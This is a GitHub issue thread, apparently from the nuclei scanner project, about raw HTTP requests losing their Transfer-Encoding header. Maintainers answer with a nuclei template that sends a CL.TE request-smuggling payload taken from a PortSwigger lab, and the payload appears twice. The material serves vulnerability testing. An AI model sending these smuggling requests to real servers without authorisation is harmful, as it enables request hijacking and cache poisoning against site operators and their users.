-
Notifications
You must be signed in to change notification settings - Fork 2.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[feature] Headers missing or modified from raw request #256
Comments
Hey @swisskyrepo, Thank you for creating this issue, good news is that, we already worked on this, it's not possible to send crafted or invalid request with standard |
@swisskyrepo Raw HTTP support is added in the master code, now adding id: TE.CL-http-smuggling
info:
name: HTTP request smuggling - basic CL.TE vulnerability
author: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
severity: info
requests:
- raw:
- |
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
- |
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body, "Unrecognized method GPOST")' |
@swisskyrepo these changes are live in the master code and you are pulling the last stable release, if you want to use these changes before we can create a new release, you can install the master version using id: TE.CL-http-smuggling
info:
name: HTTP request smuggling - basic CL.TE vulnerability
author: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
severity: info
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
- |
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body, "Unrecognized method GPOST")'
|
You are right, thank you :) |
Describe the bug
I was trying to build a template for request-smuggling but I found out some headers are stripped from the raw request blocking the exploitation attempt.
Here is an extract of the template with the raw request
and my server is receiving the following request which lack of the
Transfer-Encoding: chunked
header, furthermore theContent-Length:
was modified. Did I miss something ? :)The payload is from PortSwigger Request Smuggling Lab.
Nuclei version
[INF] Current Version: 2.1.0
The text was updated successfully, but these errors were encountered: